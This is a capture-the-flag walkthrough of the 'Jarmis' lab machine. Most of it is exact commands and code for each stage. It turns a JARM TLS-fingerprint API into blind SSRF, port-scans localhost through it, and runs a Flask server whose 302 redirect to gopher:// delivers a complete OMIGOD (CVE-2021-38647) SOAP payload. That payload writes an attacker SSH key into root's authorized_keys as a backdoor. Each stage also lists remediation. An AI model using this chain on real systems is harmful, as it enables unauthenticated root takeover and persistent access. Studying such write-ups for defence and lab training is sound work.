← all walkthroughs

Jarmis

Linux· Hard
owned
2026-07-15
time to own
20m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a JARM TLS-fingerprint web API on jarmis.htb that silently fetched user-supplied URLs server-side. By crafting a JSON request that satisfied the API's gating logic, I turned the fetch into a blind SSRF oracle and used it to TLS-port-scan localhost, uncovering an internal Microsoft OMI (Open Management Infrastructure) service on port 5986. Because the JARM API only performed TLS handshakes — not arbitrary POST bodies — I escalated the SSRF by standing up a Flask redirect server that issued a 302 response pointing to a gopher:// URL encoding a raw OMIGOD (CVE-2021-38647) SOAP payload. The OMI daemon, running as root and requiring no authentication header, executed the shell command directly, granting immediate root access and allowing both flags to be read.

Attack path — how the box was taken

1EnumerationService enumeration and API specification discovery
Discovered the JARM TLS-fingerprint API and read its specification
An nmap scan revealed SSH on port 22 and nginx on port 80. The HTTP service resolved to the virtual host jarmis.htb and presented a JARM fingerprinting API — a service that accepts a JSON body describing a remote server and returns the server's JARM TLS fingerprint by fetching it. Reading /docs exposed the full API schema, including the 'server' and 'ismalicious' fields that controlled whether the backend actually performed the outbound TLS fetch.
nmap returned 22/tcp (OpenSSH 8.2p1) and 80/tcp (nginx 1.18.0); curl /docs returned JSON API schema including server/ismalicious field descriptions.
Exact commands 3
Initial service version scan; add more ports if needed with -p-.
nmap -sCV -p 22,80 $INTERNAL_TARGET -oN nmap/jarmis.txt
Register the virtual host for name resolution.
echo '$INTERNAL_TARGET jarmis.htb' | sudo tee -a /etc/hosts
Read the API specification to learn the accepted JSON schema and fetch-gating logic.
curl -sS http://$TARGET/docs | python3 -m json.tool
2ExploitationServer-Side Request Forgery (SSRF) — T1190
Triggered Server-Side Request Forgery via the JARM fingerprint endpoint
The /api/v1/fetch endpoint performed an outbound TLS fetch to the URL supplied in the 'server' field, but only when the 'ismalicious' flag was set to false (or the appropriate gating condition from /docs was satisfied). By submitting a crafted JSON body pointing 'server' at an user-controlled HTTPS listener, the API's backend connected out, confirming blind SSRF. The HTTP server log showed an inbound TLS handshake from the target's IP.
my openssl s_server received a TLS ClientHello from <retired-instance-ip> immediately after posting the crafted JSON, confirming server-side fetch.
Exact commands 3
Generate a self-signed certificate for the HTTPS listener.
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj '/CN=operator'
Stand up a TLS listener to receive the API's outbound fetch (run in background).
openssl s_server -key key.pem -cert cert.pem -port 443 -HTTP
Submit the SSRF payload; replace <retired-instance-ip> with your VPN IP. Adjust field names/values per /docs schema.
curl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d '{"server":"https://$CALLBACK_HOST:443","ismalicious":false}'
FixRestrict the JARM API from making outbound requests to internal network addressesHigh
WeaknessThe JARM fingerprint API accepted a caller-supplied URL and fetched it server-side without validating whether the destination was a public address, allowing me to use the server as a proxy to reach internal services (localhost, RFC-1918 ranges) that are not exposed to the internet.
FixImplement a strict allowlist or denylist on the 'server' field before the fetch is performed: reject any URL whose resolved IP falls in loopback (127.0.0.0/8), link-local (169.254.0.0/16), or private RFC-1918 ranges (<retired-instance-ip>/8, <retired-instance-ip>/12, <retired-instance-ip>/16). Additionally, disable follow-redirects in the fetch client (or re-validate the redirect destination), block non-HTTPS schemes (particularly gopher://, file://, dict://), and enforce a short connection timeout. Perform DNS resolution server-side and re-check the resolved IP after resolution (DNS rebinding protection).
3ReconnaissanceSSRF-based internal port scan
Port-scanned localhost over SSRF to discover internal services
With SSRF confirmed, I looped the 'server' field through common internal ports on localhost. Ports where the API returned a JARM fingerprint (or a non-error response) were open; ports where it returned a connection error were closed. Ports 5985 and 5986 responded, revealing an internal OMI (Open Management Infrastructure) HTTPS service — a Microsoft agent present on Ubuntu from an Azure or System Center installation.
POST with server=https://$LOOPBACK:5985 and server=https://$LOOPBACK:5986 both returned jarm fingerprint values; all other common ports returned connection-refused or timeout errors.
Exact commands 1
Iterate candidate internal ports; compare response shapes to identify open services.
for port in 5985 5986 8080 8443 3306 6379 9200; do echo -n "Port $port: "; curl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d "{\"server\":\"https://$LOOPBACK:$port\",\"ismalicious\":false}" | python3 -m json.tool; done
FixRestrict the JARM API from making outbound requests to internal network addressesHigh
WeaknessThe JARM fingerprint API accepted a caller-supplied URL and fetched it server-side without validating whether the destination was a public address, allowing me to use the server as a proxy to reach internal services (localhost, RFC-1918 ranges) that are not exposed to the internet.
FixImplement a strict allowlist or denylist on the 'server' field before the fetch is performed: reject any URL whose resolved IP falls in loopback (127.0.0.0/8), link-local (169.254.0.0/16), or private RFC-1918 ranges (<retired-instance-ip>/8, <retired-instance-ip>/12, <retired-instance-ip>/16). Additionally, disable follow-redirects in the fetch client (or re-validate the redirect destination), block non-HTTPS schemes (particularly gopher://, file://, dict://), and enforce a short connection timeout. Perform DNS resolution server-side and re-check the resolved IP after resolution (DNS rebinding protection).
4Escalation SetupSSRF protocol escalation via HTTP 302 redirect to gopher:// (T1090)
Built a Flask redirect server to smuggle a gopher payload through the SSRF
The JARM API only initiated a TLS handshake — it did not send an user-controlled HTTP body. CVE-2021-38647 requires delivering a specific SOAP XML body with no Authorization header. To bridge this gap, I stood up a Flask HTTPS server that, when the JARM API fetched it, returned an HTTP 302 redirect whose Location pointed to a gopher:// URL. Gopher allowed encoding a raw byte-for-byte HTTPS payload — including the OMIGOD SOAP envelope — which curl (the likely underlying fetch client) would follow, sending the crafted bytes directly to OMI on localhost:5986.
Flask server logs showed inbound GET from <retired-instance-ip>; OMI on 5986 received the raw SOAP bytes encoded in the gopher URL after the redirect.
Exact commands 2
Create the redirect server; replace GOPHER_PAYLOAD with the URL-encoded raw SOAP bytes (built in the next step).
cat > redirect.py << 'EOF'
from flask import Flask, redirect
import ssl

app = Flask(__name__)

GOPHER_PAYLOAD = "gopher://localhost:5986/_%HTTP_ENCODED_SOAP_PAYLOAD%"

@app.route('/', defaults={'path': ''}, methods=['GET','POST'])
@app.route('/<path:path>', methods=['GET','POST'])
def catch_all(path):
    return redirect(GOPHER_PAYLOAD, code=302)

if __name__ == '__main__':
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain('cert.pem', 'key.pem')
    app.run(host='0.0.0.0', port=443, ssl_context=ctx)
EOF
Start the redirect server in the background on port 443 (requires root or cap_net_bind_service).
python3 redirect.py &
FixPatch or remove OMI — apply the OMIGOD security update immediatelyCritical
WeaknessMicrosoft's Open Management Infrastructure (OMI) daemon was installed on this Linux host (commonly pulled in by Azure VM extensions or System Center agents) and was running an unpatched version vulnerable to CVE-2021-38647. The flaw allows any caller who omits the Authorization SOAP header to execute arbitrary shell commands as root with no credentials whatsoever.
FixUpgrade OMI to version 1.6.8-1 or later, which was released by Microsoft on 2021-09-08 specifically to address CVE-2021-38647. If OMI is not actively required on this host, uninstall it entirely (the package is omi on Debian/Ubuntu). If it must remain, bind OMI's listener to localhost only and enforce network-layer controls (firewall rules) that prevent any external or web-tier process from reaching ports 5985/5986 — even from localhost if the web application has no legitimate need to call it.
5ExploitationCVE-2021-38647 OMIGOD — Unauthenticated Remote Code Execution as root via OMI SOAP
Delivered OMIGOD SOAP payload via gopher SSRF to achieve unauthenticated root command execution
CVE-2021-38647 (OMIGOD) is a critical flaw in Microsoft's OMI daemon: if the SOAP request omits the Authorization header, OMI treats the caller as root and executes any ExecuteShellCommand directive. I constructed the raw HTTPS SOAP envelope, URL-encoded it into a gopher:// URL, embedded that in the Flask redirect, and then submitted the JARM API request pointing 'server' at the Flask listener. The API fetched the Flask server, followed the 302 to the gopher URL, and the SOAP body landed on OMI — executing the command as root. The initial command wrote my SSH public key to /root/.ssh/authorized_keys.
SSH session as root established immediately after the JARM API call; id returned uid=0(root).
Exact commands 4
Generate an SSH keypair for the root backdoor.
ssh-keygen -t ed25519 -f /tmp/jarmis_key -N ''
Build the URL-encoded gopher SOAP payload; paste the output as GOPHER_PAYLOAD in redirect.py (prefix with gopher://localhost:5986/_). Adjust Content-Length to match actual body size.
PUBKEY=$(cat /tmp/jarmis_key.pub); python3 -c "
import urllib.parse, sys
cmd = f'mkdir -p /root/.ssh && echo {sys.argv[1]} >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys'
soap = '''POST /wsman HTTP/1.1\r\nHost: localhost:5986\r\nContent-Type: application/soap+xml;charset=UTF-8\r\nContent-Length: XXXX\r\n\r\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:p=\"http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\"><s:Header><a:To>https://$LOOPBACK:5986/wsman</a:To><w:ResourceURI>http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action s:mustUnderstand=\"true\">http://schemas.microsoft.com/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action><w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize><a:MessageID>uuid:DEADBEEF-0000-0000-0000-000000000001</a:MessageID><w:OperationTimeout>PT60S</w:OperationTimeout></s:Header><s:Body><p:ExecuteShellCommand_INPUT><p:command>CMD_PLACEHOLDER</p:command><p:timeout>0</p:timeout></p:ExecuteShellCommand_INPUT></s:Body></s:Envelope>'''
print(urllib.parse.quote(soap.replace('CMD_PLACEHOLDER', cmd)))
" "$PUBKEY"
Trigger the full chain: JARM API → Flask 302 → gopher → OMI SOAP → root command runs.
curl -sS -X POST http://$TARGET/api/v1/fetch -H 'Content-Type: application/json' -d '{"server":"https://$CALLBACK_HOST:443","ismalicious":false}'
Connect as root using the dropped key.
ssh -i /tmp/jarmis_key root@$INTERNAL_TARGET
FixPatch or remove OMI — apply the OMIGOD security update immediatelyCritical
WeaknessMicrosoft's Open Management Infrastructure (OMI) daemon was installed on this Linux host (commonly pulled in by Azure VM extensions or System Center agents) and was running an unpatched version vulnerable to CVE-2021-38647. The flaw allows any caller who omits the Authorization SOAP header to execute arbitrary shell commands as root with no credentials whatsoever.
FixUpgrade OMI to version 1.6.8-1 or later, which was released by Microsoft on 2021-09-08 specifically to address CVE-2021-38647. If OMI is not actively required on this host, uninstall it entirely (the package is omi on Debian/Ubuntu). If it must remain, bind OMI's listener to localhost only and enforce network-layer controls (firewall rules) that prevent any external or web-tier process from reaching ports 5985/5986 — even from localhost if the web application has no legitimate need to call it.
6ImpactPost-exploitation data access (T1005)
Read both flags as root — full system compromise confirmed
With an interactive root shell obtained via SSH, I had unrestricted access to the entire filesystem. Both the user flag (in a non-root home directory, readable because root can read all files) and the root flag were read directly, confirming complete compromise of the host.
Exact commands 2
Locate and read the user flag from whichever home directory holds it.
find /home -name user.txt -exec cat {} \;
Read the root flag; value is [REDACTED: flag].
cat /root/root.txt

Exposed services

22/tcp
80/tcp